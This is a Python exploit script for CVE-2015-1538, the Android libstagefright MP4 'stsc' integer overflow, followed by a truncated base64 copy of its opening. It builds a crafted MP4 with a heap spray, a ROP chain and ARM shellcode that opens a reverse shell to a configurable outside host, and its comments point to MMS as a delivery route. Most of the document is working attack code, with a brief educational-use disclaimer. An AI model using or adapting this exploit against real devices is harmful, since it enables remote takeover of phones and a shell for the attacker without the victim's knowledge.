#!/usr/bin/env python
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
# Shout outs to our friends at Optiv (formerly Accuvant Labs)
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
# www.zimperium.com
#
# Exploit for RCE Vulnerability CVE-2015-1538 #1
# Integer Overflow in the libstagefright MP4 'stsc' atom handling
#
# Don't forget, the output of "create_mp4" can be delivered many ways!
# MMS is the most dangerous attack vector, but not the only one...
#
# DISCLAIMER: This exploit is for testing and educational purposes only. Any
# other usage for this code is not allowed. Use at your own risk.
#
# "With great power comes great responsibility." - Uncle Ben
#
import struct
import socket
#
# Creates a single MP4 atom - LEN, TAG, DATA
#
def make_chunk(tag, data):
if len(tag) != 4:
raise 'Yo! They call it "FourCC" for a reason.'
ret = struct.pack('>L', len(data) + 8)
ret += tag
ret += data
return ret
#
# Make an 'stco' atom - Sample Table Chunk Offets
#
def make_stco(extra=''):
ret = struct.pack('>L', 0) # version
ret += struct.pack('>L', 0) # mNumChunkOffsets
return make_chunk('stco', ret+extra)
#
# Make an 'stsz' atom - Sample Table Size
#
def make_stsz(extra=''):
ret = struct.pack('>L', 0) # version
ret += struct.pack('>L', 0) # mDefaultSampleSize
ret += struct.pack('>L', 0) # mNumSampleSizes
return make_chunk('stsz', ret+extra)
#
# Make an 'stts' atom - Sample Table Time-to-Sample
#
def make_stts():
ret = struct.pack('>L', 0) # version
ret += struct.pack('>L', 0) # mTimeToSampleCount
return make_chunk('stts', ret)
#
# This creates a single Sample Table Sample-to-Chunk entry
#
def make_stsc_entry(start, per, desc):
ret = ''
ret += struct.pack('>L', start + 1)
ret += struct.pack('>L', per)
ret += struct.pack('>L', desc)
return ret
#
# Make an 'stsc' chunk - Sample Table Sample-to-Chunk
#
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
# cause a heap overflow.
#
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
ret = struct.pack('>L', 0) # version/flags
# this is the clean version...
if not do_overflow:
ret += struct.pack('>L', num_alloc) # mNumSampleToChunkOffsets
ret += 'Z' * (12 * num_alloc)
return make_chunk('stsc', ret)
# now the explicit version. (trigger the bug)
ret += struct.pack('>L', 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
# fill in the entries that will overflow the buffer
for x in range(0, num_write):
ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)
ret = make_chunk('stsc', ret)
# patch the data_size
ret = struct.pack('>L', 8 + 8 + (num_alloc * 12)) + ret[4:]
return ret
#
# Build the ROP chain
#
# ROP pivot by Georg Wicherski! Thanks!
#
"""
(gdb) x/10i __dl_restore_core_regs
0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5}
0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5}
0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc}
"""
"""
b0001144 <__dl_mprotect>:
b0001144: e92d0090 push {r4, r7}
b0001148: e3a0707d mov r7, #125 ; 0x7d
b000114c: ef000000 svc 0x00000000
b0001150: e8bd0090 pop {r4, r7}
b0001154: e1b00000 movs r0, r0
b0001158: 512fff1e bxpl lr
b000115c: ea0015cc b b0006894 <__dl_raise+0x10>
"""
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
rop = ''
rop += struct.pack('<L', sp_addr + off + 0x10) # new sp
rop += struct.pack('<L', 0xb0002a98) # new lr - pop {pc}
rop += struct.pack('<L', 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc}
rop += struct.pack('<L', sp_addr & 0xfffff000) # new r0 - base address (page aligned)
rop += struct.pack('<L', 0x1000) # new r1 - length
rop += struct.pack('<L', 7) # new r2 - protection
rop += struct.pack('<L', 0xd000d003) # new r3 - scratch
rop += struct.pack('<L', 0xd000d004) # new r4 - scratch
rop += struct.pack('<L', 0xb0001144) # new pc - _dl_mprotect
native_start = sp_addr + 0x80
rop += struct.pack('<L', native_start) # address of native payload
#rop += struct.pack('<L', 0xfeedfed5) # top of stack...
# linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
buf = ''
# fork
buf += '\x02\x70\xa0\xe3'
buf += '\x00\x00\x00\xef'
# continue if not parent...
buf += '\x00\x00\x50\xe3'
buf += '\x02\x00\x00\x0a'
# exit parent
buf += '\x00\x00\xa0\xe3'
buf += '\x01\x70\xa0\xe3'
buf += '\x00\x00\x00\xef'
# setsid in child
buf += '\x42\x70\xa0\xe3'
buf += '\x00\x00\x00\xef'
# socket/connect/dup2/dup2/dup2
buf += '\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c'
buf += '\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60'
buf += '\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0'
buf += '\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1'
buf += '\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06'
buf += '\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00'
buf += '\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0'
buf += '\xe3\x00\x00\x00\xef'
# execve(shell, argv, env)
buf += '\x30\x00\x8f\xe2\x04\x40\x24\xe0'
buf += '\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d'
buf += '\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00'
buf += '\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00'
buf += '\xef\x02\x00'
# Add the connect back host/port
buf += struct.pack('!H', cb_port)
cb_host = socket.inet_aton(cb_host)
buf += struct.pack('=4s', cb_host)
# shell -
buf += '/system/bin/sh\x00\x00'
# argv -
buf += 'sh\x00\x00'
# env -
buf += 'PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00'
# Add some identifiable stuff, just in case something goes awry...
rop_start_off = 0x34
x = rop_start_off + len(rop)
while len(rop) < 0x80 - rop_start_off:
rop += struct.pack('<L', 0xf0f00000+x)
x += 4
# Add the native payload...
rop += buf
return rop
#
# Build an mp4 that exploits CVE-2015-1538 #1
#
# We mimic meow.3gp here...
#
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
chunks = []
# Build the MP4 header...
ftyp = 'mp42'
ftyp += struct.pack('>L', 0)
ftyp += 'mp42'
ftyp += 'isom'
chunks.append(make_chunk('ftyp', ftyp))
# Note, this causes a few allocations...
moov_data = ''
moov_data += make_chunk('mvhd',
struct.pack('>LL', 0, 0x41414141) +
('B' * 0x5c) )
# Add a minimal, verified trak to satisfy mLastTrack being set
moov_data += make_chunk('trak',
make_chunk('stbl',
make_stsc(0x28, 0x28) +
make_stco() +
make_stsz() +
make_stts() ))
# Spray the heap using a large tx3g chunk (can contain binary data!)
"""
0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs
0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0
0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1
0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4
0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement
0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1
0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase
0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr
0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address
0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6
0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it!
"""
page = ''
off = 0 # the offset to the next object
off += 8
page += struct.pack('<L', sp_addr + 8 + 16 + 8 + 12 - 28) # _vptr.RefBase (for when we smash mDataSource)
page += struct.pack('<L', sp_addr + off) # mRefs
off += 16
page += struct.pack('<L', 1) # mStrong
page += struct.pack('<L', 0xc0dedbad) # mWeak
page += struct.pack('<L', sp_addr + off) # mBase
page += struct.pack('<L', 16) # mFlags (dont set OBJECT_LIFETIME_MASK)
off += 8
page += struct.pack('<L', sp_addr + off) # the mBase _vptr.RefBase
page += struct.pack('<L', 0xf00dbabe) # mBase.mRefs (unused)
off += 16
page += struct.pack('<L', 0xc0de0000 + 0x00) # vtable entry 0
page += struct.pack('<L', 0xc0de0000 + 0x04) # vtable entry 4
page += struct.pack('<L', 0xc0de0000 + 0x08) # vtable entry 8
page += struct.pack('<L', newpc_val) # vtable entry 12
rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
x = len(page)
while len(page) < 4096:
page += struct.pack('<L', 0xf0f00000+x)
x += 4
off = 0x34
page = page[:off] + rop + page[off+len(rop):]
spray = page * (((2*1024*1024) / len(page)) - 20)
moov_data += make_chunk('tx3g', spray)
block = 'A' * 0x1c
bigger = 'B' * 0x40
udta = make_chunk('udta',
make_chunk('meta',
struct.pack('>L', 0) +
make_chunk('ilst',
make_chunk('cpil', make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) +
make_chunk('trkn', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) +
make_chunk('disk', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) +
make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('aART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('gnre', make_chunk('data', struct.pack('>LL', 1, 0) + block)) +
make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)))
)
)
moov_data += udta
# Make the nasty trak
tkhd1 = ''.join([
'\x00', # version
'D' * 3, # padding
'E' * (5*4), # {c,m}time, id, ??, duration
'F' * 0x10, # ??
struct.pack('>LLLLLL',
0x10000, # a00
0, # a01
0, # dx
0, # a10
0x10000, # a11
0), # dy
'G' * 0x14
])
trak1 = ''
trak1 += make_chunk('tkhd', tkhd1)
mdhd1 = ''.join([
'\x00', # version
'D' * 0x17, # padding
])
mdia1 = ''
mdia1 += make_chunk('mdhd', mdhd1)
mdia1 += make_chunk('hdlr', 'F' * 0x3a)
dinf1 = ''
dinf1 += make_chunk('dref', 'H' * 0x14)
minf1 = ''
minf1 += make_chunk('smhd', 'G' * 0x08)
minf1 += make_chunk('dinf', dinf1)
# Build the nasty sample table to trigger the vulnerability here.
stbl1 = make_stsc(3, (0x1200 / 0xc) - 1, sp_addr, True) # TRIGGER
# Add the stbl to the minf chunk
minf1 += make_chunk('stbl', stbl1)
# Add the minf to the mdia chunk
mdia1 += make_chunk('minf', minf1)
# Add the mdia to the track
trak1 += make_chunk('mdia', mdia1)
# Add the nasty track to the moov data
moov_data += make_chunk('trak', trak1)
# Finalize the moov chunk
moov = make_chunk('moov', moov_data)
chunks.append(moov)
# Combine outer chunks together and voila.
data = ''.join(chunks)
return data
if __name__ == '__main__':
import sys
import argparse
def write_file(path, content):
with open(path, 'wb') as f:
f.write(content)
def addr(sval):
if sval.startswith('0x'):
return int(sval, 16)
return int(sval)
# The address of a fake StrongPointer object (sprayed)
sp_addr = 0x41d00010 # takju @ imm76i - 2MB (via hangouts)
# The address to of our ROP pivot
newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs
# Allow the user to override parameters
parser = argparse.ArgumentParser()
parser.add_argument('-c', '--connectback-host', dest='cbhost', default='31.3.3.7')
parser.add_argument('-p', '--connectback-port', dest='cbport', type=int, default=12345)
parser.add_argument('-s', '--spray-address', dest='spray_addr', type=addr, default=None)
parser.add_argument('-r', '--rop-pivot', dest='rop_pivot', type=addr, default=None)
parser.add_argument('-o', '--output-file', dest='output_file', default='cve-2015-1538-1.mp4')
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
sys.exit(-1)
if args.spray_addr == None:
args.spray_addr = sp_addr
if args.rop_pivot == None:
args.rop_pivot = newpc_val
# Build the MP4 file...
data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
print('[*] Saving crafted MP4 to %s ...' % args.output_file)
write_file(args.output_file, data)
IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCiMgSm9zaHVhIEouIERyYWtlIChAamR1Y2spIG9mIFpJTVBFUklVTSB6TGFicwojIFNob3V0IG91dHMgdG8gb3VyIGZyaWVuZHMgYXQgT3B0aXYgKGZvcm1lcmx5IEFjY3V2YW50IExhYnMpCiMgKEMpIEpvc2h1YSBKLiBEcmFrZSwgWklNUEVSSVVNIEluYywgTW9iaWxlIFRocmVhdCBQcm90ZWN0aW9uLCAyMDE1CiMgd3d3LnppbXBlcml1bS5jb20KIwojIEV4cGxvaXQgZm9yIFJDRSBWdWxuZXJhYmlsaXR5IENWRS0yMDE1LTE1MzggIzEKIyBJbnRlZ2VyIE92ZXJmbG93IGluIHRoZSBsaWJzdGFnZWZyaWdodCBNUDQgJ3N0c2MnIGF0b20gaGFuZGxpbmcKIwojIERvbid0IGZvcmdldCwgdGhlIG91dHB1dCBvZiAiY3JlYXRlX21wNCIgY2FuIGJlIGRlbGl2ZXJlZCBtYW55IHdheXMhCiMgTU1TIGlzIHRoZSBtb3N0IGRhbmdlcm91cyBhdHRhY2sgdmVjdG9yLCBidXQgbm90IHRoZSBvbmx5IG9uZS4uLgojCiMgRElTQ0xBSU1FUjogVGhpcyBleHBsb2l0IGlzIGZvciB0ZXN0aW5nIGFuZCBlZHVjYXRpb25hbCBwdXJwb3NlcyBvbmx5LiBBbnkKIyBvdGhlciB1c2FnZSBmb3IgdGhpcyBjb2RlIGlzIG5vdCBhbGxvd2VkLiBVc2UgYXQgeW91ciBvd24gcmlzay4KIwojICJXaXRoIGdyZWF0IHBvd2VyIGNvbWVzIGdyZWF0IHJlc3BvbnNpYmlsaXR5LiIgLSBVbmNsZSBCZW4KIwoKaW1wb3J0IHN0cnVjdAppbXBvcnQgc29ja2V0CgoKIwojIENyZWF0ZXMgYSBzaW5nbGUgTVA0IGF0b20gLSBMRU4sIFRBRywgREFUQQojCmRlZiBtYWtlX2NodW5rKHRhZywgZGF0YSk6CiAgICBpZiBsZW4odGFnKSAhPSA0OgogICAgICAgIHJhaXNlICdZbyEgVGhleSBjYWxsIGl0ICJGb3VyQ0MiIGZvciBhIHJlYXNvbi4nCiAgICByZXQgPSBzdHJ1Y3QucGFjaygnPkwnLCBsZW4oZGF0YSkgKyA4KQogICAgcmV0ICs9IHRhZwogICAgcmV0ICs9IGRhdGEKICAgIHJldHVybiByZXQKCgojCiMgTWFrZSBhbiAnc3RjbycgYXRvbSAtIFNhbXBsZSBUYWJsZSBDaHVuayBPZmZldHMKIwpkZWYgbWFrZV9zdGNvKGV4dHJhPScnKToKICAgIHJldCA9ICBzdHJ1Y3QucGFjaygnPkwnLCAwKSAjIHZlcnNpb24KICAgIHJldCArPSBzdHJ1Y3QucGFjaygnPkwnLCAwKSAjIG1OdW1DaHVua09mZnNldHMKICAgIHJldHVybiBtYWtlX2NodW5rKCdzdGNvJywgcmV0K2V4dHJhKQoKIwojIE1ha2UgYW4gJ3N0c3onIGF0b20gLSBTYW1wbGUgVGFibGUgU2l6ZQojCmRlZiBtYWtlX3N0c3ooZXh0cmE9JycpOgogICAgcmV0ID0gIHN0cnVjdC5wYWNrKCc+TCcsIDApICMgdmVyc2lvbgogICAgcmV0ICs9IHN0cnVjdC5wYWNrKCc+TCcsIDApICMgbURlZmF1bHRTYW1wbGVTaXplCiAgICByZXQgKz0gc3RydWN0LnBhY2soJz5MJywgMCkgIyBtTnVtU2FtcGxlU2l6ZXMKICAgIHJldHVybiBtYWtlX2NodW5rKCdzdHN6JywgcmV0K2V4dHJhKQoKIwojIE1ha2UgYW4gJ3N0dHMnIGF0b20gLSBTYW1wbGUgVGFibGUgVGltZS10by1TYW1wbGUKIwpkZWYgbWFrZV9zdHRzKCk6CiAgICByZXQgPSAgc3RydWN0LnBhY2soJz5MJywgMCkgIyB2ZXJzaW9uCiAgICByZXQgKz0gc3RydWN0LnBhY2soJz5MJywgMCkgIyBtVGltZVRvU2FtcGxlQ291bnQKICAgIHJldHVybiBtYWtlX2NodW5rKCdzdHRzJywgcmV0KQoKCiMKIyBUaGlzIGNyZWF0ZXMgYSBzaW5nbGUgU2FtcGxlIFRhYmxlIFNhbXBsZS10by1DaHVuayBlbnRyeQojCmRlZiBtYWtlX3N0c2NfZW50cnkoc3RhcnQsIHBlciwgZGVzYyk6CiAgICByZXQgPSAnJwogICAgcmV0ICs9IHN0cnVjdC5wYWNrKCc+TCcsIHN0YXJ0ICsgMSkKICAgIHJldCArPSBzdHJ1Y3QucGFjaygnPkwnLCBwZXIpCiAgICByZXQgKz0gc3RydWN0LnBhY2soJz5MJywgZGVzYykKICAgIHJldHVybiByZXQKCiMKIyBNYWtlIGFuICdzdHNjJyBjaHVuayAtIFNhbXBsZSBUYWJsZSBTYW1wbGUtdG8tQ2h1bmsKIwojIElmIHRoZSBjYWxsZXIgZGVzaXJlcywgd2Ugd2lsbCBhdHRlbXB0IHRvIHRyaWdnZXIgKENWRS0yMDE1LTE1MzggIzEpIGFuZAojIGNhdXNlIGEgaGVhcCBvdmVyZmxvdy4KIwpkZWYgbWFrZV9zdHNjKG51bV9hbGxvYywgbnVtX3dyaXRlLCBzcF9hZGRyPTB4NDI0MjQyNDIsIGRvX292ZXJmbG93ID0gRmFsc2UpOgogICAgcmV0ID0gIHN0cnVjdC5wYWNrKCc+TCcsIDApICMgdmVyc2lvbi9mbGFncwoKICAgICMgdGhpcyBpcyB0aGUgY2xlYW4gdmVyc2lvbi4uLgogICAgaWYgbm90IGRvX292ZXJmbG93OgogICAgICAgIHJldCArPSBzdHJ1Y3QucGFjaygnPkwnLCBudW1fYWxsb2MpICMgbU51bVNhbXBsZVRvQ2h1bmtPZmZzZXRzCiAgICAgICAgcmV0ICs9ICdaJyAqICgxMiAqIG51bV9hbGxvYykKICAgICAgICByZXR1cm4gbWFrZV9jaHVuaygnc3RzYycsIHJldCkKCiAgICAjIG5vdyB0aGUgZXhwbGljaXQgdmVyc2lvbi4gKHRyaWdnZXIgdGhlIGJ1ZykKICAgIHJldCArPSBzdHJ1Y3QucGFjaygnPkwnLCAweGMwMDAwMDAwICsgbnVtX2FsbG9jKSAjIG1OdW1TYW1wbGVUb0NodW5rT2Zmc2V0cwoKICAgICMgZmlsbCBpbiB0aGUgZW50cmllcyB0aGF0IHdpbGwgb3ZlcmZsb3cgdGhlIGJ1ZmZlcgogICAgZm9yIHggaW4gcmFuZ2UoMCwgbnVtX3dyaXRlKToKICAgICAgICByZXQgKz0gbWFrZV9zdHNjX2VudHJ5KHNwX2FkZHIsIHNwX2FkZHIsIHNwX2FkZHIpCgogICAgcmV0ID0gbWFrZV9jaHVuaygnc3RzYycsIHJldCkKCiAgICAjIHBhdGNoIHRoZSBkYXRhX3NpemUKICAgIHJldCA9IHN0cnVjdC5wYWNrKCc+TCcsIDggKyA4ICsgKG51bV9hbGxvYyAqIDEyKSkgKyByZXRbNDpdCgogICAgcmV0dXJuIHJldAoKIwojIEJ1aWxkIHRoZSBST1AgY2hhaW4KIwojIFJPUCBwaXZvdCBieSBHZW9yZyBXaWNoZXJza2khIFRoYW5rcyEKIwoiIiIKKGdkYikgeC8xMGkgX19kbF9yZXN0b3JlX2NvcmVfcmVncwogICAweGIwMDAyODUwIDxfX2RsX3Jlc3RvcmVfY29yZV9yZWdzPjogYWRkIHIxLCByMCwgIzUyIDsgMHgzNAogICAweGIwMDAyODU0IDxfX2RsX3Jlc3RvcmVfY29yZV9yZWdzKzQ+OiAgIGxkbSByMSwge3IzLCByNCwgcjV9CiAgIDB4YjAwMDI4NTggPF9fZGxfcmVzdG9yZV9jb3JlX3JlZ3MrOD46ICAgcHVzaCAgICB7cjMsIHI0LCByNX0KICAgMHhiMDAwMjg1YyA8X19kbF9yZXN0b3JlX2NvcmVfcmVncysxMj46ICBsZG0gcjAsIHtyMCwgcjEsIHIyLCByMywgcjQsIHI1LCByNiwgcjcsIHI4LCByOSwgcjEwLCByMTF9CiAgIDB4YjAwMDI4NjAgPF9fZGxfcmVzdG9yZV9jb3JlX3JlZ3MrMTY+OiAgbGRtIHNwLCB7c3AsIGxyLCBwY30KIiIiCgoiIiIKYjAwMDExNDQgPF9fZGxfbXByb3RlY3Q+OgpiMDAwMTE0NDogICAgICAgZTkyZDAwOTAgICAgICAgIHB1c2ggICAge3I0LCByN30KYjAwMDExNDg6ICAgICAgIGUzYTA3MDdkICAgICAgICBtb3YgICAgIHI3LCAjMTI1ICAgICAgICA7IDB4N2QKYjAwMDExNGM6ICAgICAgIGVmMDAwMDAwICAgICAgICBzdmMgICAgIDB4MDAwMDAwMDAKYjAwMDExNTA6ICAgICAgIGU4YmQwMDkwICAgICAgICBwb3AgICAgIHtyNCwgcjd9CmIwMDAxMTU0OiAgICAgICBlMWIwMDAwMCAgICAgICAgbW92cyAgICByMCwgcjAKYjAwMDExNTg6ICAgICAgIDUxMmZmZjFlICAgICAgICBieHBsICAgIGxyCmIwMDAxMTVjOiAgICAgICBlYTAwMTVjYyAgICAgICAgYiAgICAgICBiMDAwNjg5NCA8X19kbF9yYWlzZSsweDEwPgoiIiIKCmRlZiBidWlsZF9yb3Aob2ZmLCBzcF9hZGRyLCBuZXdwY192YWwsIGNiX2hvc3QsIGNiX3BvcnQpOgogICAgcm9wID0gJycKICAgIHJvcCArPSBzdHJ1Y3QucGFjaygnPEwnLCBzcF9hZGRyICsgb2ZmICsgMHgxMCkgIyBuZXcgc3AKICAgIHJvcCArPSBzdHJ1Y3QucGFjaygnPEwnLCAweGIwMDAyYTk4KSAgICAgICAgICAgIyBuZXcgbHIgLSBwb3Age3BjfQogICAgcm9wICs9IHN0cnVjdC5wYWNrKCc8TCcsIDB4YjAwMDM4YjIrMSkgICAgICAgICAjIG5ldyBwYzogcG9wIHtyMCwgcjEsIHIyLCByMywgcjQsIHBjfQoKICAgIHJvcCArPSBzdHJ1Y3QucGFjaygnPEwnLCBzcF9hZGRyICYgMHhmZmZmZjAwMCkgIyBuZXcgcjAgLSBiYXNlIGFkZHJlc3MgKHBhZ2UgYWxpZ25lZCkKICAgIHJvcCArPSBzdHJ1Y3QucGFjaygnPEwnLCAweDEwMDApICAgICAgICAgICAgICAgIyBuZXcgcjEgLSBsZW5ndGgKICAgIHJvcCArPSBzdHJ1Y3QucGFjaygnPEwnLCA3KSAgICAgICAgICAgICAgICAgICAgIyBuZXcgcjIgLSBwcm90ZWN0aW9uCiAgICByb3AgKz0gc3RydWN0LnBhY2soJzxMJywgMHhkMDAwZDAwMykgICAgICAgICAgICMgbmV3IHIzIC0gc2NyYXRjaAogICAgcm9wICs9IHN0cnVjdC5wYWNrKCc8TCcsIDB4ZDAwMGQwMDQpICAgICAgICAgICAjIG5ldyByNCAtIHNjcmF0Y2gKICAgIHJvcCArPSBzdHJ1Y3QucGFjaygnPEwnLCAweGIwMDAxMTQ0KSAgICAgICAgICAgIyBuZXcgcGMgLSBfZGxfbXByb3RlY3QKCiAgICBuYXRpdmVfc3RhcnQgPSBzcF9hZGRyICsgMHg4MAogICAgcm9wICs9IHN0cnVjdC5wYWNrKCc8TCcsIG5hdGl2ZV9zdGFydCkgICAgICAgICAjIGFkZHJlc3Mgb2YgbmF0aXZlIHBheWxvYWQKICAgICNyb3AgKz0gc3RydWN0LnBhY2soJzxMJywgMHhmZWVkZmVkNSkgICAgICAgICAgIyB0b3Agb2Ygc3RhY2suLi4KICAgICMgbGludXgvYXJtbGUvc2hlbGxfcmV2ZXJzZV90Y3AgKG1vZGlmaWVkIHRvIHBhc3MgZW52IGFuZCBmb3JrL2V4aXQpCiAgICBidWYgPSAgJycKICAgICMgZm9yawogICAgYnVmICs9ICdceDAyXHg3MFx4YTBceGUzJwogICAgYnVmICs9ICdceDAwXHgwMFx4MDBceGVmJwogICAgIyBjb250aW51ZSBpZiBub3QgcGFyZW50Li4uCiAgICBidWYgKz0gJ1x4MDBceDAwXHg1MFx4ZTMnCiAgICBidWYgKz0gJ1x4MDJceDAwXHgwMFx4MGEnCiAgICAjIGV4aXQgcGFyZW50CiAgICBidWYgKz0gJ1x4MDBceDAwXHhhMFx4ZTMnCiAgICBidWYgKz0gJ1x4MDFceDcwXHhhMFx4ZTMnCiAgICBidWYgKz0gJ1x4MDBceDAwXHgwMFx4ZWYnCiAgICAjIHNldHNpZCBpbiBjaGlsZAogICAgYnVmICs9ICdceDQyXHg3MFx4YTBceGUzJwogICAgYnVmICs9ICdceDAwXHgwMFx4MDBceGVmJwogICAgIyBzb2NrZXQvY29ubmVjdC9kdXAyL2R1cDIvZHVwMgogICAgYnVmICs9ICdceDAyXHgwMFx4YTBceGUzXHgwMVx4MTBceGEwXHhlM1x4MDVceDIwXHg4MVx4ZTJceDhjJwogICAgYnVmICs9ICdceDcwXHhhMFx4ZTNceDhkXHg3MFx4ODdceGUyXHgwMFx4MDBceDAwXHhlZlx4MDBceDYwJwogICAgYnVmICs9ICdceGEwXHhlMVx4NmNceDEwXHg4Zlx4ZTJceDEwXHgyMFx4YTBceGUzXHg4ZFx4NzBceGEwJwogICAgYnVmICs9ICdceGUzXHg4ZVx4NzBceDg3XHhlMlx4MDBceDAwXHgwMFx4ZWZceDA2XHgwMFx4YTBceGUxJwogICAgYnVmICs9ICdceDAwXHgxMFx4YTBceGUzXHgzZlx4NzBceGEwXHhlM1x4MDBceDAwXHgwMFx4ZWZceDA2JwogICAgYnVmICs9ICdceDAwXHhhMFx4ZTFceDAxXHgxMFx4YTBceGUzXHgzZlx4NzBceGEwXHhlM1x4MDBceDAwJwogICAgYnVmICs9ICdceDAwXHhlZlx4MDZceDAwXHhhMFx4ZTFceDAyXHgxMFx4YTBceGUzXHgzZlx4NzBceGEwJwogICAgYnVmICs9ICdceGUzXHgwMFx4MDBceDAwXHhlZicKICAgICMgZXhlY3ZlKHNoZWxsLCBhcmd2LCBlbnYpCiAgICBidWYgKz0gJ1x4MzBceDAwXHg4Zlx4ZTJceDA0XHg0MFx4MjRceGUwJwogICAgYnVmICs9ICdceDEwXHgwMFx4MmRceGU5XHgzOFx4MzBceDhmXHhlMlx4MDhceDAwXHgyZFx4ZTlceDBkJwogICAgYnVmICs9ICdceDIwXHhhMFx4ZTFceDEwXHgwMFx4MmRceGU5XHgyNFx4NDBceDhmXHhlMlx4MTBceDAwJwogICAgYnVmICs9ICdceDJkXHhlOVx4MGRceDEwXHhhMFx4ZTFceDBiXHg3MFx4YTBceGUzXHgwMFx4MDBceDAwJwogICAgYnVmICs9ICdceGVmXHgwMlx4MDAnCiAgICAjIEFkZCB0aGUgY29ubmVjdCBiYWNrIGhvc3QvcG9ydAogICAgYnVmICs9IHN0cnVjdC5wYWNrKCchSCcsIGNiX3BvcnQpCiAgICBjYl9ob3N0ID0gc29ja2V0LmluZXRfYXRvbihjYl9ob3N0KQogICAgYnVmICs9IHN0cnVjdC5wYWNrKCc9NHMnLCBjYl9ob3N0KQogICAgIyBzaGVsbCAtCiAgICBidWYgKz0gJy9zeXN0ZW0vYmluL3NoXHgwMFx4MDAnCiAgICAjIGFyZ3YgLQogICAgYnVmICs9ICdzaFx4MDBceDAwJwogICAgIyBlbnYgLQogICAgYnVmICs9ICdQQVRIPS9zYmluOi92ZW5kb3IvYmluOi9zeXN0ZW0vc2Jpbjovc3lzdGVtL2Jpbjovc3lzdGVtL3hiaW5ceDAwJwoKICAgICMgQWRkIHNvbWUgaWRlbnRpZmlhYmxlIHN0dWZmLCBqdXN0IGluIGNhc2Ugc29tZXRoaW5nIGdvZXMgYXdyeS4uLgogICAgcm9wX3N0YXJ0X29mZiA9IDB4MzQKICAgIHggPSByb3Bfc3RhcnRfb2ZmICsgbGVuKHJvcCkKICAgIHdoaWxlIGxlbihyb3ApIDwgMHg4MCAtIHJvcF9zdGFydF9vZmY6CiAgICAgICAgcm9wICs9IHN0cnVjdC5wYWNrKCc8TCcsIDB4ZjBmMDAwMDAreCkKICAgICAgICB4ICs9IDQKCiAgICAjIEFkZCB0aGUgbmF0aXZlIHBheWxvYWQuLi4KICAgIHJvcCArPSBidWYKCiAgICByZXR1cm4gcm9wCgojCiMgQnVpbGQgYW4gbXA0IHRoYXQgZXhwbG9pdHMgQ1ZFLTIwMTUtMTUzOCAjMQojCiMgV2UgbWltaWMgbWVvdy4zZ3AgaGVyZS4